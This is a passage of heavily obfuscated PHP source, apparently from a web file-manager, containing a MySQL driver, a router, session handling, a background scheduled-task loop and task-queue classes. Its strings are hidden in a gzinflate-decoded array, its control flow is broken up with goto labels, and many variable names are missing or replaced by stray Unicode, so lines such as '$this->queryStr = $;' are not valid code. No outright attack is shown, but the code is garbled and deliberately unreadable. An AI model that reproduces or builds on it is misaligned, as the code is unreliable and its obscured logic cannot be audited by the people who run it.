$_SERVER[ϋ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ÿ[23], 1); think_status($ÿ[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ = $this->_linkID->next_result()) != NULL) { $->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $Ɩ =& $_SERVER[ϋ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($Ɩ[25], 1); think_status($Ɩ[24]); $ş = $this->_linkID->query($); $this->debug(); if (!1 === $ş) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ݬ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ݬ) { $this->error(); return !1; } } return !0; } private function getAll() { $ϯ = array(); if ($this->numRows > 0) { for ($ฤ = 0; $ฤ < $this->numRows; $ฤ++) { $ϯ[$ฤ] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ϯ; } public function getFields($) { $ =& $_SERVER[ϋ]; $ = $this->query($[946] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $Ί => $ٓ) { $[$ٓ[$[31]]] = array($[32] => $ٓ[$[31]], $[33] => $ٓ[$[34]], $[35] => (bool) ($ٓ[$[36]] === $[12]), $[37] => $ٓ[$[38]], $[39] => strtolower($ٓ[$[40]]) == $[41], $[42] => strtolower($ٓ[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[ϋ]; $ = !empty($) ? $[948] . $ . $[949] : $[950]; $Ѥ = $this->query($); $ʱʭ = array(); if ($Ѥ) { foreach ($Ѥ as $ => $á) { $ʱʭ[$] = current($á); } } return $ʱʭ; } public function replace($, $ = array()) { $ߙ =& $_SERVER[ϋ]; foreach ($ as $ => $݋) { $ = $this->parseValue($݋); if (is_scalar($)) { $񆹆[] = $; $[] = $this->parseKey($); } } $ = $ߙ[951] . $this->parseTable($[$ߙ[331]]) . $ߙ[952] . implode($ߙ[50], $) . $ߙ[953] . implode($ߙ[50], $񆹆) . $ߙ[954]; return $this->execute($); } public function insertAll($ٙ, $ࡺ = array(), $ۆ = false) { $ =& $_SERVER[ϋ]; if (!is_array($ٙ[0])) { return !1; } $ = array_keys($ٙ[0]); $ = array(); foreach ($ٙ as $) { $Ҙ = array(); foreach ($ as $κ => $ߌ) { $ߌ = $this->parseValue($ߌ); if (is_scalar($ߌ)) { $Ҙ[] = $ߌ; } } $[] = $[312] . implode($[50], $Ҙ) . $[954]; } array_walk($, array($this, $[955])); $ = $ۆ ? $[956] : $[957]; $􀂅 = $ . $[958] . $this->parseTable($ࡺ[$[331]]) . $[952] . implode($[50], $) . $[959] . implode($[50], $); return $this->execute($􀂅); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ڿժ =& $_SERVER[ϋ]; $this->error = $this->_linkID->errno . $ڿժ[4] . $this->_linkID->error; if ($ڿժ[12] != $this->queryStr) { $this->error .= LNG($ڿժ[48]) . $this->queryStr; } think_trace($this->error, $ڿժ[12], $ڿժ[49]); return $this->error; } public function escapeString($̬) { if ($this->_linkID) { return $this->_linkID->real_escape_string($̬); } else { return addslashes($̬); } } public function parseKey(&$, $豪ҙ = true) { $뫁 =& $_SERVER[ϋ]; if ($豪ҙ) { $ = $this->parseKeyCheck($); } if ($ != $뫁[211] && !preg_match($뫁[960], $)) { $ = $뫁[445] . trim($, $뫁[445]) . $뫁[445]; } return $; } } goto a񲉠; dሸ: $_SERVER[] = explode($_SERVER[ϋ][664], gzinflate(substr($_SERVER[ϋ][665], 10, -8))); $yaejlkpuiz = $_SERVER[ϋ][666]; if (strlen($yaejlkpuiz) < $_SERVER[ϋ][412]) { die; } goto F; d˿: class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\141\x6e\x79" => "\x5b\x5e\57\x5d\x2b", "\x3a\x6e\165\x6d" => "\x5b\60\55\71\x5d\x2b", "\x3a\x61\x6c\154" => "\56\52"); public static $errorCallback; public static function __callstatic($ܵ, $Η) { $ =& $_SERVER[ϋ]; if ($ܵ == $[1690]) { $ = array_map($[1691], $Η[0]); $ = strpos($Η[1], $[8]) === 0 ? $Η[1] : $[8] . $Η[1]; $ = $Η[2]; } else { $ = null; $ = strpos($Η[0], $[8]) === 0 ? $Η[0] : $[8] . $Η[0]; $ = $Η[1]; } array_push(self::$maps, $); array_push(self::$routes, $); array_push(self::$methods, strtoupper($ܵ)); array_push(self::$callbacks, $); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ֽ = true) { self::$halts = $ֽ; } public static function dispatch() { $߲ɚ =& $_SERVER[ϋ]; $ = parse_url($_SERVER[$߲ɚ[1692]], PHP_URL_PATH); $ۭ = $_SERVER[$߲ɚ[163]]; $轳 = array_keys(static::$patterns); $Ç = array_values(static::$patterns); $Ԥ = !1; self::$routes = preg_replace($߲ɚ[1329], $߲ɚ[8], self::$routes); if (in_array($, self::$routes)) { $Ζ = array_keys(self::$routes, $); foreach ($Ζ as $) { if (self::$methods[$] == $ۭ || self::$methods[$] == $߲ɚ[1693] || in_array($ۭ, self::$maps[$])) { $Ԥ = !0; if (!is_object(self::$callbacks[$])) { $ゥ = explode($߲ɚ[8], self::$callbacks[$]); $󈂲 = end($ゥ); $⿂ = explode($߲ɚ[1261], $󈂲); $Ʋ = new $⿂[0](); $Ʋ->{$⿂[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $) { if (strpos($, $߲ɚ[4]) !== !1) { $ = str_replace($轳, $Ç, $); } if (preg_match($߲ɚ[1694] . $ . $߲ɚ[1695], $, $ߍ)) { if (self::$methods[$] == $ۭ || self::$methods[$] == $߲ɚ[1693] || !empty(self::$maps[$]) && in_array($ۭ, self::$maps[$])) { $Ԥ = !0; array_shift($ߍ); if (!is_object(self::$callbacks[$])) { $ゥ = explode($߲ɚ[8], self::$callbacks[$]); $󈂲 = end($ゥ); $⿂ = explode($߲ɚ[1261], $󈂲); $Ʋ = new $⿂[0](); if (!method_exists($Ʋ, $⿂[1])) { echo $߲ɚ[1696]; } else { call_user_func_array(array($Ʋ, $⿂[1]), $ߍ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $ߍ); if (self::$halts) { return; } } } } $++; } } if ($Ԥ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $Ŋ =& $_SERVER[ϋ]; header($_SERVER[$Ŋ[1697]] . $Ŋ[1698]); echo $Ŋ[1699]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$߲ɚ[1692]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $閾 =& $_SERVER[ϋ]; static $ߓҏ = false; if ($ߓҏ) { return $ߓҏ; } $ = $GLOBALS[$閾[6]][$閾[400]]; self::$sessionTime = $[$閾[1700]]; $ޕ = isset($GLOBALS[$閾[1701]]) ? $GLOBALS[$閾[1701]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($ޕ)) { self::$sessionSign = Cookie::get($ޕ); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($ޕ, self::$sessionSign, self::$sessionTime); $ = $[$閾[1702]]; $Խݸռ = $[$]; $ش = $[$閾[879]]; switch ($) { case $閾[21]: self::$handle = Model($閾[880]); break; case $閾[881]: self::$handle = new CacheRedis($Խݸռ, $ش); break; case $閾[882]: self::$handle = new CacheMemcached($Խݸռ, $ش); break; case $閾[221]: $Խݸռ[$閾[87]] = $Խݸռ[$閾[87]] . $閾[1703]; self::$handle = new CacheFile($Խݸռ, $ش); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ߓҏ = new self(); return $ߓҏ; } public static function getBySign($Ͳ) { $ʯ = self::$handle->get($Ͳ); $ʯ = unserialize($ʯ); return is_array($ʯ) ? $ʯ : array(); } public static function setBySign($, $ĸ) { CacheLock::lock($); self::$handle->set($, serialize($ĸ), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($, $ܼ = false) { self::init(); if (is_array($)) { foreach ($ as $ => $) { array_set_value(self::$data, $, $); } } else { array_set_value(self::$data, $, $ܼ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ד = false) { self::init(); if (!$ד) { return self::$data; } return array_get_value(self::$data, $ד); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ϋ][885])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[ϋ]; if (self::valueGet($[802]) != $[91]) { return; } if (self::valueGet($[1704]) == $[91]) { $ބ = self::valueGet($[1705]); if (time() - $ބ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($[1704], $[91]); self::log($[1706] . ACTION . $[1707]); Hook::bind($[1708], $[1709]); $Ȁق = 0; while (!0) { self::cacheClear(); if (self::valueGet($[802]) != $[91]) { self::valueSet($[1704], $[219]); self::log($[1710]); die; } $ړ = time(); if ($ړ - $Ȁق >= 60) { self::valueSet(array($[1704] => $[91], $[1705] => $ړ)); $Ȁق = $ړ; } if (!file_exists(USER_SYSTEM . $[1711])) { self::valueSet(array($[1704] => $[219], $[802] => $[219])); self::log($[1712]); die; } $֜ = file_get_contents(BASIC_PATH . $[1713]); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $勏 = match_text($֜, $[1714]) . $[10] . match_text($֜, $[1715]); if ($勏 != $) { self::restart(); self::log("\x73\x74\x6f\x70\x65\x64\56\x5b\166\145\x72\x73\x69\157\156\40\165\x70\144\x61\x74\x65\x3b{$versionNow}\x20\x3d\76\40{$version}\x5d"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $٫ =& $_SERVER[ϋ]; http_close(); $GLOBALS[$٫[1716]] = 1; $_SERVER[$٫[1717]] = $٫[1718]; $_COOKIE = array(); $GLOBALS[$٫[1719]] = 1; $GLOBALS[$٫[1720]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[ϋ]; http_close(); self::valueSet($[802], $[219]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1704] => $[219], $[802] => $[91])); self::log($[1721]); } public static function taskSwitch() { $Ë =& $_SERVER[ϋ]; $ = self::valueGet($Ë[802]) == $Ë[91] ? $Ë[219] : $Ë[91]; self::valueSet($Ë[802], $); } public static function shutdownEvent() { $ =& $_SERVER[ϋ]; self::valueSet($[1704], $[219]); self::log($[1722]); } public static function config($Ԁ, $͉) { self::valueSet($_SERVER[ϋ][802], $Ԁ); } private static function taskRunAll() { $뉏 =& $_SERVER[ϋ]; $Ԋ = timeFloat(); $ٳ = Model($뉏[1723])->listData(); $ = count($ٳ); for ($Ò = 0; $Ò < $; $Ò++) { $ǽ = $ٳ[$Ò]; if (!$ǽ[$뉏[459]] || $ǽ[$뉏[1724]] != $뉏[91]) { continue; } if (!self::taskTimeCheck($ǽ)) { continue; } self::taskRun($ǽ); } Hook::trigger($뉏[1725]); self::taskQueueRun($Ԋ); } private static function taskQueueRun($Ƌ) { $ߧ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $Ƌ >= $ߧ) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[ϋ]; $ = json_decode($[$[197]], !0); $Ҍ = intval($[$[1705]]); $ = strtotime($[1726] . $[$[1727]] . $[1728]) - strtotime($[1729]); $ = time() - strtotime(date($[1730]) . $[1731]); $Ԙ = $ >= $ && $ <= $ + 3600; switch ($[$[33]]) { case $[1732]: if (time() - $Ҍ < 3600 * 24 * 30) { return !1; } if ($[$[1732]] == date($[1733]) && $Ԙ) { return !0; } break; case $[1734]: if (time() - $Ҍ < 3600 * 24 * 7) { return !1; } $ = date($[1735]) == 0 ? 7 : date($[1735]); if ($[$[1734]] == $ && $Ԙ) { return !0; } break; case $[1727]: if (time() - $Ҍ < 3600 * 24) { return !1; } if ($Ԙ) { return !0; } break; case $[1736]: if (time() - $Ҍ >= floatval($[$[1736]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ʘؓ =& $_SERVER[ϋ]; static $Ј = 0; $˴ = 300; if (!$Ј) { $Ј = time(); } if (time() - $Ј < $˴) { return; } $Ј = time(); $ۻ = Model($ʘؓ[562])->db($ʘؓ[12]); if ($ۻ) { $ۻ->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ʘؓ[1737], $ʘؓ[1738]); die; } } public static function taskRun($ƃ) { $ =& $_SERVER[ϋ]; self::log($[1739] . $ƃ[$[459]] . $[1740] . $ƃ[$[32]] . $[1741] . $ƃ[$[1742]]); Model($[1723])->run($ƃ[$[459]]); $ޡɨ = timeFloat(); $Ա = $[12]; switch ($ƃ[$[33]]) { case $[358]: $ = url_request($ƃ[$[1742]], $[252], !1, !1, !1, !1, 10); if ($[$[802]]) { $Ա = strlen($[$[1255]]); } break; case $[251]: $Ա = Hook::apply($ƃ[$[1742]]); default: break; } Model($[1743])->add(array($[1744] => $[12], $[1745] => $[219], $[33] => $[1746] . $ƃ[$[459]], $[1747] => json_encode(array($[32] => $ƃ[$[32]], $[1748] => timeFloat() - $ޡɨ, $[344] => $Ա)))); $ = $Ա ? $[1749] . $Ա : $[12]; self::log($[1750] . $ƃ[$[459]] . $[168] . $); return !0; } public static function valueGet($Ժ) { $ =& $_SERVER[ϋ]; $孖 = $[1751]; $ͭ = Model($[492])->get($Ժ, $孖); if (is_null($ͭ)) { Model($[492])->set($[802], $[91], $孖); Model($[492])->set($[1704], $[219], $孖); $ͭ = Model($[492])->get($Ժ, $孖); } return $ͭ; } private static function valueSet($, $ˀܦ = false) { $ =& $_SERVER[ϋ]; $ȍѥ = $[1752]; CacheLock::lock($ȍѥ); $ = Model($[492])->set($, $ˀܦ, $[1751]); CacheLock::unlock($ȍѥ); return $; } protected static function log($Ģ) { write_log($Ģ, $_SERVER[ϋ][1738]); } private static function cacheClear() { $ޮ =& $_SERVER[ϋ]; Cache::clearMemory(Model($ޮ[492])->cacheKey($ޮ[1751])); Cache::clearMemory(Model($ޮ[492])->cacheKey($ޮ[1753])); Model($ޮ[1723])->cacheClear(); self::closeDatabase(); } } goto Bϵ; B: class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($ٝ, $ϊ = '', $ = 0, $ = '') { $ě =& $_SERVER[ϋ]; $ = $ ? $ : ($ϊ ? $ϊ : $ٝ); $є = new Task($ٝ, $ϊ, $, $); $GLOBALS[$ě[1837] . $ٝ] = new TaskLog($ě[1738], $є, $); return $є; } public function __construct($궛 = '', $י = '', $ = '') { $嫦 =& $_SERVER[ϋ]; if (!$궛) { $궛 = $嫦[1738]; } $Ӌ = $궛 . $嫦[446] . rand_string(10); if (!$) { $ = $궛 . $嫦[53] . $; } switch ($궛) { case $嫦[1738]: if (!$י || !$י->task) { return echoLog($궛 . $嫦[1838]); } $˷ = $י; $Ӌ = $˷->task[$嫦[459]]; $궛 = $˷->task[$嫦[459]]; if (!$˷->task[$嫦[1643]]) { $˷->task[$嫦[1643]] = $ ? $ : $궛; } break; case $嫦[1839]: if (!$י) { return echoLog($궛 . $嫦[1840]); } $ = is_string($י) ? array($י) : $י; $˷ = new TaskFileTransfer($Ӌ, $궛, 0, $ ? $ : $[0]); foreach ($ as $) { $˷->addPath($); } break; case $嫦[364]: if (!$י) { return echoLog($궛 . $嫦[1840]); } $ = is_string($י) ? array($י) : $י; $˷ = new TaskZip($Ӌ, $궛, 0, $ ? $ : $[0]); foreach ($ as $) { $˷->addPath($); } break; case $嫦[1267]: if (!$י) { return echoLog($궛 . $嫦[1840]); } $˷ = new TaskUnZip($Ӌ, $궛, 0, $ ? $ : $י); if ($י) { $˷->addFile($י); } break; case $嫦[152]: $˷ = new TaskHttp($Ӌ, $궛); break; default: return; break; } $this->task = $˷; $this->taskID = $Ӌ; Hook::bind($嫦[1775], array($this, $嫦[1841])); Hook::bind($嫦[1777], array($this, $嫦[1842])); Hook::bind($嫦[1771], array($this, $嫦[1843])); echoLog($嫦[1844] . $˷->task[$嫦[1643]]); } public function __destruct() { $this->end(); } public function end($֙ = '') { $͵ʰ =& $_SERVER[ϋ]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($֙); $this->task = !1; $this->taskID = !1; Hook::unbind($͵ʰ[1775], array($this, $͵ʰ[1841])); Hook::unbind($͵ʰ[1777], array($this, $͵ʰ[1842])); Hook::unbind($͵ʰ[1771], array($this, $͵ʰ[1843])); } public function taskUpdate($) { $ =& $_SERVER[ϋ]; if (!$ || $this->taskID != $[$[459]]) { return; } $ = 20; $ = intval($[$[1756]] * $); $ = $[166] . str_repeat($[933], $) . $[1063] . str_repeat($[53], $ - $) . $[168]; $ = $ . sprintf($[1845], $[$[1756]] * 100) . $[1846]; $Հ = $ . $[$[1755]] . $[8] . $[$[1112]] . LNG($[1847]); $ = $[12]; if ($[$[1831]]) { $Հ = $ . size_format($[$[1755]]) . $[8] . size_format($[$[1112]]); $ = size_format($[$[1757]]) . $[1848]; } if ($[$[1114]]) { $[$[1805]] = $[$[1114]] . $[53] . $[$[1805]]; } if ($[$[1805]]) { $ = $[12]; if ($[$[1807]]) { $ = $[50] . size_format($[$[1808]]) . $[8] . size_format($[$[1807]]); } $ .= $[$[1805]] . $; } if ($[$[815]] && !$[$[1807]]) { $ .= $[53] . size_format($[$[1812]]) . $[8] . size_format($[$[815]]); } echoLog($Հ . $[53] . $, !0); } public function taskEnd($ܴǝ) { $ރن =& $_SERVER[ϋ]; if (!$ܴǝ || $this->taskID != $ܴǝ[$ރن[459]]) { return; } $ۣ = $ܴǝ ? $ܴǝ[$ރن[1755]] . $ރن[8] . $ܴǝ[$ރن[1112]] . LNG($ރن[1847]) . $ރن[74] : $ރن[12]; echoLog($ރن[1849] . $ܴǝ[$ރن[1643]] . ($ܴǝ[$ރن[510]] ? $ރن[74] . $ܴǝ[$ރن[510]] : $ރن[12]) . $ރن[74] . $ۣ . $ރن[1850] . sprintf($ރن[902], timeFloat() - $ܴǝ[$ރن[1758]]) . $ރن[1770]); $this->end(); } public function taskKill($) { $Ƚ =& $_SERVER[ϋ]; if (!$ || $this->taskID != $[$Ƚ[459]]) { return; } echoLog($Ƚ[1851] . $[$Ƚ[1643]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\141\163\153\x51\x75\145\x75\x65\114\x65\156\147\164\x68"; const QUEUE_DATA = "\x74\x61\x73\153\x51\x75\145\x75\145\104\x61\164\141"; const QUEUE_TIME = "\x74\x61\163\153\x51\165\145\165\x65\114\x61\x73\164\122\165\156"; const QUEUE_THREAD = "\164\141\163\x6b\121\165\145\165\x65\x54\150\x72\145\x61\144"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($됇, $ = array(), $á = '', $حĦ = '') { $ =& $_SERVER[ϋ]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($حĦ && array_find_by_field(self::$listData, $[97], $حĦ)) { return !0; } if ($حĦ && array_find_by_field(self::$listDataAdd, $[97], $حĦ)) { return !0; } self::$listDataAdd[] = array($[316] => $됇, $[1852] => $, $[510] => $á, $[97] => $حĦ); return !0; } public static function addSubmit() { $  =& $_SERVER[ϋ]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($ [1853] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $ [12], $ [510])), $ [188]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($, $ȁ = array(), $û = '', $㐛 = '') { $ԧ =& $_SERVER[ϋ]; if (self::count() >= self::MAX_LENGTH) { return !1; } $˞ = self::getAll(); if ($㐛 && array_find_by_field($˞, $ԧ[97], $㐛)) { return !0; } $˞[] = array($ԧ[316] => $, $ԧ[1852] => $ȁ, $ԧ[510] => $û, $ԧ[97] => $㐛); self::setAll($˞); write_log($ԧ[1853] . $û, $ԧ[188]); return !0; } public static function run() { $ƛ۽ =& $_SERVER[ϋ]; $֩ = self::getAll(); $ = array_shift($֩); if (!$) { return !1; } self::setAll($֩); $ = timeFloat(); $Ӡ = $ƛ۽[12]; try { $Ӡ = Hook::apply($[$ƛ۽[316]], $[$ƛ۽[1852]]); } catch (Exception $Ԭ) { write_log($Ԭ, $ƛ۽[1235]); } $܎ = number_format(timeFloat() - $, 3) . $ƛ۽[1770]; if ($Ӡ && is_string($Ӡ)) { $܎ = $܎ . $ƛ۽[1854] . $Ӡ; } write_log($ƛ۽[1855] . $[$ƛ۽[510]] . $ƛ۽[1856] . $܎, $ƛ۽[188]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ =& $_SERVER[ϋ]; $ی = self::threadCount() + 1; if ($ی > 3 || !self::count()) { return; } write_log($[1857] . $ی, $[188]); Cache::set(self::QUEUE_THREAD, $ی, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($[1858], $[188]); } public static function getKey($, $䀳 = "\x69\x6e\164") { $ =& $_SERVER[ϋ]; Cache::removeMemory($); $ = Cache::get($); if ($䀳 == $[339]) { return $ ? intval($) : 0; } if ($䀳 == $[1859]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[ϋ][1859]); } public static function setAll($) { $؏ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $؏); Cache::set(self::QUEUE_DATA, $, $؏); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($냈, $ = 5.0) { if (!$냈) { return; } $߭ = Cache::get($냈); if (!$߭ || timeFloat() - floatVal($߭) >= $) { Cache::set($냈, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $ς, $؜ = 5.0) { $׾ =& $_SERVER[ϋ]; if (!$ || !$) { return; } self::$asyncAdd = !0; $≎Ӯ = $׾[1860]; $񟧂 = Cache::get($≎Ӯ, !0); $ = array($׾[1861] => timeFloat(), $׾[1862] => timeFloat(), $׾[316] => $, $׾[1852] => $ς, $׾[197] => $؜); if (is_array($񟧂[$])) { $[$׾[1862]] = $񟧂[$][$׾[1862]]; } if (is_array($񟧂[$])) { if (timeFloat() - $񟧂[$][$׾[1861]] < $[$׾[197]] * 0.3) { return; } $[$׾[1862]] = $񟧂[$][$׾[1862]]; } $񟧂[$] = $; Cache::set($≎Ӯ, $񟧂, 60); Cache::removeMemory($≎Ӯ); write_log($׾[1863] . $ . $׾[74] . $, $׾[188]); } public static function timeLimitCallLoop() { $ =& $_SERVER[ϋ]; $ = array($[1864]); $ = in_array(strtolower(ACTION), $); if (!$ && !self::$asyncAdd) { return; } $ۊ = $[1860]; $堥 = Cache::get($ۊ, !0); if (!$堥 || count($堥) <= 0) { return; } $ߙ = !1; $ߛ = timeFloat(); $ԧ匨 = array(); foreach ($堥 as $ => $) { if ($ߛ - $[$[1862]] > $[$[197]]) { $ߙ = !0; try { Hook::apply($[$[316]], $[$[1852]]); write_log($[1865] . $ . $[74] . $[$[316]] . $[1866] . ACTION, $[188]); } catch (Exception $Ņ) { } continue; } $ԧ匨[$] = $; } if (!$ߙ) { return; } if (!$ԧ匨) { return Cache::remove($ۊ); } Cache::set($ۊ, $ԧ匨, 60); Cache::removeMemory($ۊ); } public static function finished($܈, $ί) { $ =& $_SERVER[ϋ]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[316] => $܈, $[1852] => $ί); } private static function finishedRun() { $ =& $_SERVER[ϋ]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $τ̏) { try { Hook::apply($τ̏[$[316]], $τ̏[$[1852]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } goto F; E: class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\x6d\56\x72\x6f\154\x65\x4c\151\x73\x74"; public $field = array("\156\141\x6d\x65", "\141\165\x74\x68", "\x6c\141\142\x65\154", "\x64\151\163\160\x6c\x61\171", "\163\171\x73\x74\x65\155", "\144\145\x73\x63", "\x69\147\x6e\x6f\x72\x65\x45\x78\164", "\151\x67\x6e\x6f\162\145\x46\x69\154\x65\x53\151\172\x65", "\141\144\x6d\151\156\x69\163\x74\x72\141\x74\157\162", "\x73\157\162\x74"); public function listData($ح = false, $Ł = "\x73\157\x72\x74", $镜ŕ = false) { $ =& $_SERVER[ϋ]; $қ = parent::listData($ح, $Ł, $镜ŕ); if (!$ح) { foreach ($қ as $ => $) { if ($[$[2160]] == 1) { $қ[$][$[510]] = LNG($[2423]); } } } return $қ; } public function update($ԥ, $) { $ =& $_SERVER[ϋ]; $ = parent::listData($ԥ); $쓫 = $this->findByName($[$[32]]); if (!$ || $쓫 && $쓫[$[459]] != $[$[459]]) { return !1; } if ($쓫[$[2160]] == 1) { $ = array($[32] => $[$[32]], $[1975] => $[$[1975]]); } $this->filterAuth($[$[471]]); return parent::update($ԥ, $); } public function remove($Ҷ) { $쇎 = parent::listData($Ҷ); if (!$쇎 || $쇎[$_SERVER[ϋ][182]]) { return !1; } return parent::remove($Ҷ); } public function add($ҭ̶) { $浙 =& $_SERVER[ϋ]; $ = $ҭ̶[$浙[32]]; if ($this->findByName($)) { return !1; } $ٽ = array($浙[478] => $, $浙[1958] => $浙[12], $浙[1954] => $浙[1962], $浙[2424] => 1, $浙[1957] => 0, $浙[2425] => 0, $浙[1956] => $this->getSort()); $ҭ̶ = array_merge($ٽ, $ҭ̶); $this->filterAuth($ҭ̶[$浙[471]]); return parent::insert($ҭ̶); } private function getSort() { $ט =& $_SERVER[ϋ]; $Ե = parent::listData(); $ݗ = array_to_keyvalue($Ե, $ט[12], $ט[1976]); return empty($ݗ) ? 0 : max($ݗ) + 1; } private function filterAuth(&$ٗ) { $䴪 =& $_SERVER[ϋ]; $߇可 = array(); $ = array_filter(explode($䴪[50], $ٗ)); foreach ($ as $ٗ) { $ݝ簧 = explode($䴪[10], $ٗ); if ($ݝ簧[0] == $䴪[2426] && $ݝ簧[1] != $䴪[1243]) { $գ = $ݝ簧[0] . $䴪[10] . $ݝ簧[1] . $䴪[2427]; if (!in_array($գ, $)) { $߇可[] = $գ; } } $߇可[] = $ٗ; } $ٗ = implode($䴪[50], $߇可); } public function findRoleDefault() { $򶍩 =& $_SERVER[ϋ]; $Ґ = parent::listData(); $ځ = !1; foreach ($Ґ as $ߪ) { if (!$ߪ || $ߪ[$򶍩[1974]] == $򶍩[219] || $ߪ[$򶍩[2160]] == 1) { continue; } if (strstr($ߪ[$򶍩[471]], $򶍩[2428])) { continue; } if (!strstr($ߪ[$򶍩[471]], $򶍩[2429])) { continue; } if (!$ځ) { $ځ = $ߪ; continue; } $ = explode($򶍩[50], $ځ[$򶍩[471]]); $ɉ = explode($򶍩[50], $ߪ[$򶍩[471]]); if (count($) > count($ɉ)) { $ځ = $ߪ; } } return $ځ ? $ځ[$򶍩[459]] : $򶍩[12]; } public function sort($Ӧ, $) { return parent::update($Ӧ, $); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\x65\x6d\x2e\x74\x61\x73\x6b\114\151\x73\164"; public $field = array("\x6e\141\155\145", "\x74\171\x70\x65", "\x65\x76\145\x6e\164", "\164\151\155\145", "\x64\145\x73\143", "\x73\x79\x73\x74\x65\155", "\145\x6e\x61\142\x6c\x65", "\154\141\163\164\x52\x75\156", "\x73\157\162\x74"); public function listData($ = false, $Ŏ = "\x73\157\x72\x74", $ = false) { return parent::listData($, $Ŏ, $); } public function add($ۥ) { $䡠 =& $_SERVER[ϋ]; $ѥĩ = $this->findByName($ۥ[$䡠[32]]); if ($ѥĩ) { return !1; } $ۥ[$䡠[1705]] = 0; $ۥ[$䡠[1976]] = $this->getSort(); return parent::insert($ۥ); } private function getSort() { $ =& $_SERVER[ϋ]; $ = parent::listData(); $¶ = 